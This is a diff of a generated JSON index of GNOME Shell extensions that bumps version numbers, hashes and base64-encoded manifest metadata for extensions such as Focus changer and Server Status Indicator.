-    "47": {"version": "22", "sha256": "19ivw8phg5dg8vxad5m46a0frjgyav5mjisj1fnv04gz4cmi2z08", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNoYW5nZSBmb2N1cyBiZXR3ZWVuIHdpbmRvd3MgaW4gYWxsIGRpcmVjdGlvbnMuXG5cblRoZSBleHRlbnNpb24gd2lsbCBmaXJzdCB0cnkgdG8gZmluZCBhIHN1aXRhYmxlIHdpbmRvdyB3aXRoaW4gdGhlIHNhbWUgbW9uaXRvci4gSWYgdGhlcmUgaXMgbm9uZSwgaXQgd2lsbCB0cnkgdG8gZmluZCBvbmUgb24gdGhlIG5leHQgbW9uaXRvciBpbiB0aGF0IGRpcmVjdGlvbiAoaW4gYSBtdWx0aS1tb25pdG9yIHNldHVwKS5cblxuRGVmYXVsdCBzaG9ydGN1dHMgKGNhbiBiZSBjaGFuZ2VkIGluIHByZWZlcmVuY2VzKTpcbjxTdXBlcj4raCA9IEZvY3VzIGxlZnRcbjxTdXBlcj4raiA9IEZvY3VzIGRvd25cbjxTdXBlcj4rayA9IEZvY3VzIHVwXG48U3VwZXI+K2wgPSBGb2N1cyByaWdodCIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJrb2ZpIjogImhlYXJ0bWlyZSIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJmb2N1cy1jaGFuZ2VyQGhlYXJ0bWlyZSIsCiAgIm5hbWUiOiAiRm9jdXMgY2hhbmdlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5mb2N1cy1jaGFuZ2VyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL21hcnRpbmhqYXJ0bXlyL2dub21lLXNoZWxsLWV4dGVuc2lvbi1mb2N1cy1jaGFuZ2VyIiwKICAidXVpZCI6ICJmb2N1cy1jaGFuZ2VyQGhlYXJ0bWlyZSIsCiAgInZlcnNpb24iOiAyMgp9"},
-    "48": {"version": "22", "sha256": "19ivw8phg5dg8vxad5m46a0frjgyav5mjisj1fnv04gz4cmi2z08", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNoYW5nZSBmb2N1cyBiZXR3ZWVuIHdpbmRvd3MgaW4gYWxsIGRpcmVjdGlvbnMuXG5cblRoZSBleHRlbnNpb24gd2lsbCBmaXJzdCB0cnkgdG8gZmluZCBhIHN1aXRhYmxlIHdpbmRvdyB3aXRoaW4gdGhlIHNhbWUgbW9uaXRvci4gSWYgdGhlcmUgaXMgbm9uZSwgaXQgd2lsbCB0cnkgdG8gZmluZCBvbmUgb24gdGhlIG5leHQgbW9uaXRvciBpbiB0aGF0IGRpcmVjdGlvbiAoaW4gYSBtdWx0aS1tb25pdG9yIHNldHVwKS5cblxuRGVmYXVsdCBzaG9ydGN1dHMgKGNhbiBiZSBjaGFuZ2VkIGluIHByZWZlcmVuY2VzKTpcbjxTdXBlcj4raCA9IEZvY3VzIGxlZnRcbjxTdXBlcj4raiA9IEZvY3VzIGRvd25cbjxTdXBlcj4rayA9IEZvY3VzIHVwXG48U3VwZXI+K2wgPSBGb2N1cyByaWdodCIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJrb2ZpIjogImhlYXJ0bWlyZSIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJmb2N1cy1jaGFuZ2VyQGhlYXJ0bWlyZSIsCiAgIm5hbWUiOiAiRm9jdXMgY2hhbmdlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5mb2N1cy1jaGFuZ2VyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL21hcnRpbmhqYXJ0bXlyL2dub21lLXNoZWxsLWV4dGVuc2lvbi1mb2N1cy1jaGFuZ2VyIiwKICAidXVpZCI6ICJmb2N1cy1jaGFuZ2VyQGhlYXJ0bWlyZSIsCiAgInZlcnNpb24iOiAyMgp9"}
+    "45": {"version": "23", "sha256": "06alzm7id1bnyvqqg201n268x1xan3g0rjsx3pvjqp77qpv8dsl9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNoYW5nZSBmb2N1cyBiZXR3ZWVuIHdpbmRvd3MgaW4gYWxsIGRpcmVjdGlvbnMuXG5cblRoZSBleHRlbnNpb24gd2lsbCBmaXJzdCB0cnkgdG8gZmluZCBhIHN1aXRhYmxlIHdpbmRvdyB3aXRoaW4gdGhlIHNhbWUgbW9uaXRvci4gSWYgdGhlcmUgaXMgbm9uZSwgaXQgd2lsbCB0cnkgdG8gZmluZCBvbmUgb24gdGhlIG5leHQgbW9uaXRvciBpbiB0aGF0IGRpcmVjdGlvbiAoaW4gYSBtdWx0aS1tb25pdG9yIHNldHVwKS5cblxuRGVmYXVsdCBzaG9ydGN1dHMgKGNhbiBiZSBjaGFuZ2VkIGluIHByZWZlcmVuY2VzKTpcbjxTdXBlcj4raCA9IEZvY3VzIGxlZnRcbjxTdXBlcj4raiA9IEZvY3VzIGRvd25cbjxTdXBlcj4rayA9IEZvY3VzIHVwXG48U3VwZXI+K2wgPSBGb2N1cyByaWdodCIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJrb2ZpIjogImhlYXJ0bWlyZSIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJmb2N1cy1jaGFuZ2VyQGhlYXJ0bWlyZSIsCiAgIm5hbWUiOiAiRm9jdXMgY2hhbmdlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5mb2N1cy1jaGFuZ2VyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL21hcnRpbmhqYXJ0bXlyL2dub21lLXNoZWxsLWV4dGVuc2lvbi1mb2N1cy1jaGFuZ2VyIiwKICAidXVpZCI6ICJmb2N1cy1jaGFuZ2VyQGhlYXJ0bWlyZSIsCiAgInZlcnNpb24iOiAyMwp9"},
+    "46": {"version": "23", "sha256": "06alzm7id1bnyvqqg201n268x1xan3g0rjsx3pvjqp77qpv8dsl9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNoYW5nZSBmb2N1cyBiZXR3ZWVuIHdpbmRvd3MgaW4gYWxsIGRpcmVjdGlvbnMuXG5cblRoZSBleHRlbnNpb24gd2lsbCBmaXJzdCB0cnkgdG8gZmluZCBhIHN1aXRhYmxlIHdpbmRvdyB3aXRoaW4gdGhlIHNhbWUgbW9uaXRvci4gSWYgdGhlcmUgaXMgbm9uZSwgaXQgd2lsbCB0cnkgdG8gZmluZCBvbmUgb24gdGhlIG5leHQgbW9uaXRvciBpbiB0aGF0IGRpcmVjdGlvbiAoaW4gYSBtdWx0aS1tb25pdG9yIHNldHVwKS5cblxuRGVmYXVsdCBzaG9ydGN1dHMgKGNhbiBiZSBjaGFuZ2VkIGluIHByZWZlcmVuY2VzKTpcbjxTdXBlcj4raCA9IEZvY3VzIGxlZnRcbjxTdXBlcj4raiA9IEZvY3VzIGRvd25cbjxTdXBlcj4rayA9IEZvY3VzIHVwXG48U3VwZXI+K2wgPSBGb2N1cyByaWdodCIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJrb2ZpIjogImhlYXJ0bWlyZSIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJmb2N1cy1jaGFuZ2VyQGhlYXJ0bWlyZSIsCiAgIm5hbWUiOiAiRm9jdXMgY2hhbmdlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5mb2N1cy1jaGFuZ2VyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL21hcnRpbmhqYXJ0bXlyL2dub21lLXNoZWxsLWV4dGVuc2lvbi1mb2N1cy1jaGFuZ2VyIiwKICAidXVpZCI6ICJmb2N1cy1jaGFuZ2VyQGhlYXJ0bWlyZSIsCiAgInZlcnNpb24iOiAyMwp9"},
+    "47": {"version": "23", "sha256": "06alzm7id1bnyvqqg201n268x1xan3g0rjsx3pvjqp77qpv8dsl9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNoYW5nZSBmb2N1cyBiZXR3ZWVuIHdpbmRvd3MgaW4gYWxsIGRpcmVjdGlvbnMuXG5cblRoZSBleHRlbnNpb24gd2lsbCBmaXJzdCB0cnkgdG8gZmluZCBhIHN1aXRhYmxlIHdpbmRvdyB3aXRoaW4gdGhlIHNhbWUgbW9uaXRvci4gSWYgdGhlcmUgaXMgbm9uZSwgaXQgd2lsbCB0cnkgdG8gZmluZCBvbmUgb24gdGhlIG5leHQgbW9uaXRvciBpbiB0aGF0IGRpcmVjdGlvbiAoaW4gYSBtdWx0aS1tb25pdG9yIHNldHVwKS5cblxuRGVmYXVsdCBzaG9ydGN1dHMgKGNhbiBiZSBjaGFuZ2VkIGluIHByZWZlcmVuY2VzKTpcbjxTdXBlcj4raCA9IEZvY3VzIGxlZnRcbjxTdXBlcj4raiA9IEZvY3VzIGRvd25cbjxTdXBlcj4rayA9IEZvY3VzIHVwXG48U3VwZXI+K2wgPSBGb2N1cyByaWdodCIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJrb2ZpIjogImhlYXJ0bWlyZSIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJmb2N1cy1jaGFuZ2VyQGhlYXJ0bWlyZSIsCiAgIm5hbWUiOiAiRm9jdXMgY2hhbmdlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5mb2N1cy1jaGFuZ2VyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL21hcnRpbmhqYXJ0bXlyL2dub21lLXNoZWxsLWV4dGVuc2lvbi1mb2N1cy1jaGFuZ2VyIiwKICAidXVpZCI6ICJmb2N1cy1jaGFuZ2VyQGhlYXJ0bWlyZSIsCiAgInZlcnNpb24iOiAyMwp9"},
+    "48": {"version": "23", "sha256": "06alzm7id1bnyvqqg201n268x1xan3g0rjsx3pvjqp77qpv8dsl9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNoYW5nZSBmb2N1cyBiZXR3ZWVuIHdpbmRvd3MgaW4gYWxsIGRpcmVjdGlvbnMuXG5cblRoZSBleHRlbnNpb24gd2lsbCBmaXJzdCB0cnkgdG8gZmluZCBhIHN1aXRhYmxlIHdpbmRvdyB3aXRoaW4gdGhlIHNhbWUgbW9uaXRvci4gSWYgdGhlcmUgaXMgbm9uZSwgaXQgd2lsbCB0cnkgdG8gZmluZCBvbmUgb24gdGhlIG5leHQgbW9uaXRvciBpbiB0aGF0IGRpcmVjdGlvbiAoaW4gYSBtdWx0aS1tb25pdG9yIHNldHVwKS5cblxuRGVmYXVsdCBzaG9ydGN1dHMgKGNhbiBiZSBjaGFuZ2VkIGluIHByZWZlcmVuY2VzKTpcbjxTdXBlcj4raCA9IEZvY3VzIGxlZnRcbjxTdXBlcj4raiA9IEZvY3VzIGRvd25cbjxTdXBlcj4rayA9IEZvY3VzIHVwXG48U3VwZXI+K2wgPSBGb2N1cyByaWdodCIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJrb2ZpIjogImhlYXJ0bWlyZSIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJmb2N1cy1jaGFuZ2VyQGhlYXJ0bWlyZSIsCiAgIm5hbWUiOiAiRm9jdXMgY2hhbmdlciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5mb2N1cy1jaGFuZ2VyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL21hcnRpbmhqYXJ0bXlyL2dub21lLXNoZWxsLWV4dGVuc2lvbi1mb2N1cy1jaGFuZ2VyIiwKICAidXVpZCI6ICJmb2N1cy1jaGFuZ2VyQGhlYXJ0bWlyZSIsCiAgInZlcnNpb24iOiAyMwp9"}
   }}
 , {"uuid": "no-titlebar-when-maximized@alec.ninja", "name": "No Titlebar When Maximized", "pname": "no-titlebar-when-maximized", "description": "Hides the classic title bar of maximized X.Org windows", "link": "https://extensions.gnome.org/extension/4630/no-titlebar-when-maximized/", "shell_version_map": {
     "41": {"version": "11", "sha256": "0ai3fz37ij5k6s5mjhh9934bmwxs2m3fnir26sjrdsk5b3pgrygz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGVzIHRoZSBjbGFzc2ljIHRpdGxlIGJhciBvZiBtYXhpbWl6ZWQgWC5Pcmcgd2luZG93cyIsCiAgIm5hbWUiOiAiTm8gVGl0bGViYXIgV2hlbiBNYXhpbWl6ZWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQxIiwKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vYWxlY2RvdG5pbmphL25vLXRpdGxlYmFyLXdoZW4tbWF4aW1pemVkIiwKICAidXVpZCI6ICJuby10aXRsZWJhci13aGVuLW1heGltaXplZEBhbGVjLm5pbmphIiwKICAidmVyc2lvbiI6IDExCn0="},
@@ -4832,7 +4842,7 @@
     "45": {"version": "29", "sha256": "0anrb1z726aad1ip53pmhli5l4a188s4an0ywl7nqxxnbg970m15", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkluZGljYXRvciBkaXNwbGF5aW5nIHN0YXR1cyBvZiBlbnRlcmVkIHdlYiBzZXJ2ZXIgVVJMcyB1c2luZyBlbW9qaXMuIiwKICAibmFtZSI6ICJTZXJ2ZXIgU3RhdHVzIEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zZXJ2ZXJzdGF0dXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NyYWlnRm9vdGUvY2EuZm9vdGV3YXJlLmdub21lc2hlbGwuc2VydmVyc3RhdHVzLmdpdCIsCiAgInV1aWQiOiAic2VydmVyc3RhdHVzQGZvb3Rld2FyZS5jYSIsCiAgInZlcnNpb24iOiAyOQp9"},
     "46": {"version": "34", "sha256": "0kycaap43jcdzj2dwvm17ld0vnv932bmlpmxkvfih2hkl9sv5lg4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkluZGljYXRvciBkaXNwbGF5aW5nIHN0YXR1cyBvZiBlbnRlcmVkIHdlYiBzZXJ2ZXIgVVJMcyB1c2luZyBlbW9qaXMuIiwKICAibmFtZSI6ICJTZXJ2ZXIgU3RhdHVzIEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zZXJ2ZXJzdGF0dXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DcmFpZ0Zvb3RlL2NhLmZvb3Rld2FyZS5nbm9tZXNoZWxsLnNlcnZlcnN0YXR1cy5naXQiLAogICJ1dWlkIjogInNlcnZlcnN0YXR1c0Bmb290ZXdhcmUuY2EiLAogICJ2ZXJzaW9uIjogMzQKfQ=="},
     "47": {"version": "34", "sha256": "0kycaap43jcdzj2dwvm17ld0vnv932bmlpmxkvfih2hkl9sv5lg4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkluZGljYXRvciBkaXNwbGF5aW5nIHN0YXR1cyBvZiBlbnRlcmVkIHdlYiBzZXJ2ZXIgVVJMcyB1c2luZyBlbW9qaXMuIiwKICAibmFtZSI6ICJTZXJ2ZXIgU3RhdHVzIEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zZXJ2ZXJzdGF0dXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DcmFpZ0Zvb3RlL2NhLmZvb3Rld2FyZS5nbm9tZXNoZWxsLnNlcnZlcnN0YXR1cy5naXQiLAogICJ1dWlkIjogInNlcnZlcnN0YXR1c0Bmb290ZXdhcmUuY2EiLAogICJ2ZXJzaW9uIjogMzQKfQ=="},
-    "48": {"version": "36", "sha256": "0ai6mdj8hgpi7z6cya72ay55krm7r8nm2qlddxal0z229nar29mk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkluZGljYXRvciBkaXNwbGF5aW5nIHN0YXR1cyBvZiBlbnRlcmVkIHdlYiBzZXJ2ZXIgVVJMcyB1c2luZyBlbW9qaXMuIiwKICAibmFtZSI6ICJTZXJ2ZXIgU3RhdHVzIEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zZXJ2ZXJzdGF0dXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vQ3JhaWdGb290ZS9jYS5mb290ZXdhcmUuZ25vbWVzaGVsbC5zZXJ2ZXJzdGF0dXMuZ2l0IiwKICAidXVpZCI6ICJzZXJ2ZXJzdGF0dXNAZm9vdGV3YXJlLmNhIiwKICAidmVyc2lvbiI6IDM2Cn0="}
+    "48": {"version": "37", "sha256": "0jyv860qlk8vvy5pw1277pnzjpd1j8can7xxzh1nxlq39586d39q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkluZGljYXRvciBkaXNwbGF5aW5nIHN0YXR1cyBvZiBlbnRlcmVkIHdlYiBzZXJ2ZXIgVVJMcyB1c2luZyBlbW9qaXMuIiwKICAibmFtZSI6ICJTZXJ2ZXIgU3RhdHVzIEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zZXJ2ZXJzdGF0dXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vQ3JhaWdGb290ZS9jYS5mb290ZXdhcmUuZ25vbWVzaGVsbC5zZXJ2ZXJzdGF0dXMuZ2l0IiwKICAidXVpZCI6ICJzZXJ2ZXJzdGF0dXNAZm9vdGV3YXJlLmNhIiwKICAidmVyc2lvbiI6IDM3Cn0="}
   }}
 , {"uuid": "focus-follows-workspace@christopher.luebbemeier.gmail.com", "name": "Focus Follows Workspace", "pname": "focus-follows-workspace", "description": "Focus the primary monitor after switching workspaces via keyboard", "link": "https://extensions.gnome.org/extension/4688/focus-follows-workspace/", "shell_version_map": {
     "41": {"version": "7", "sha256": "0bi73fpvkfj3y6f440fw5xv1294szhisa2qyzz4rwh7n4n49xhqf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvY3VzIHRoZSBwcmltYXJ5IG1vbml0b3IgYWZ0ZXIgc3dpdGNoaW5nIHdvcmtzcGFjZXMgdmlhIGtleWJvYXJkIiwKICAibmFtZSI6ICJGb2N1cyBGb2xsb3dzIFdvcmtzcGFjZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9jaHJpc3RvcGhlci1sL2ZvY3VzLWZvbGxvd3Mtd29ya3NwYWNlIiwKICAidXVpZCI6ICJmb2N1cy1mb2xsb3dzLXdvcmtzcGFjZUBjaHJpc3RvcGhlci5sdWViYmVtZWllci5nbWFpbC5jb20iLAogICJ2ZXJzaW9uIjogNwp9"},
@@ -4967,11 +4977,12 @@
     "42": {"version": "20", "sha256": "0m1kckimsqhks2lfjg5v1jjg462xjkvbhzja6x1wkd462pcbkz52", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHNpemUgYW5kIHBvc2l0aW9uIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSB0byB0aGUgY29ycmVjdCBwbGFjZSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBjYW4gYmUgc2V0IHRvIGRlZmF1bHQgSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1wYXRoIjogIi9vcmcvZ25vbWUvc2hlbGwvZXh0ZW5zaW9ucy9zbWFydC1hdXRvLW1vdmUvIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNtYXJ0LWF1dG8tbW92ZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9raGltYXJvcy9zbWFydC1hdXRvLW1vdmUiLAogICJ1dWlkIjogInNtYXJ0LWF1dG8tbW92ZUBraGltYXJvcy5jb20iLAogICJ2ZXJzaW9uIjogMjAKfQ=="},
     "43": {"version": "20", "sha256": "0m1kckimsqhks2lfjg5v1jjg462xjkvbhzja6x1wkd462pcbkz52", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHNpemUgYW5kIHBvc2l0aW9uIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSB0byB0aGUgY29ycmVjdCBwbGFjZSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBjYW4gYmUgc2V0IHRvIGRlZmF1bHQgSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1wYXRoIjogIi9vcmcvZ25vbWUvc2hlbGwvZXh0ZW5zaW9ucy9zbWFydC1hdXRvLW1vdmUvIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNtYXJ0LWF1dG8tbW92ZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9raGltYXJvcy9zbWFydC1hdXRvLW1vdmUiLAogICJ1dWlkIjogInNtYXJ0LWF1dG8tbW92ZUBraGltYXJvcy5jb20iLAogICJ2ZXJzaW9uIjogMjAKfQ=="},
     "44": {"version": "20", "sha256": "0m1kckimsqhks2lfjg5v1jjg462xjkvbhzja6x1wkd462pcbkz52", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHNpemUgYW5kIHBvc2l0aW9uIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSB0byB0aGUgY29ycmVjdCBwbGFjZSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBjYW4gYmUgc2V0IHRvIGRlZmF1bHQgSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1wYXRoIjogIi9vcmcvZ25vbWUvc2hlbGwvZXh0ZW5zaW9ucy9zbWFydC1hdXRvLW1vdmUvIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNtYXJ0LWF1dG8tbW92ZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9raGltYXJvcy9zbWFydC1hdXRvLW1vdmUiLAogICJ1dWlkIjogInNtYXJ0LWF1dG8tbW92ZUBraGltYXJvcy5jb20iLAogICJ2ZXJzaW9uIjogMjAKfQ=="},
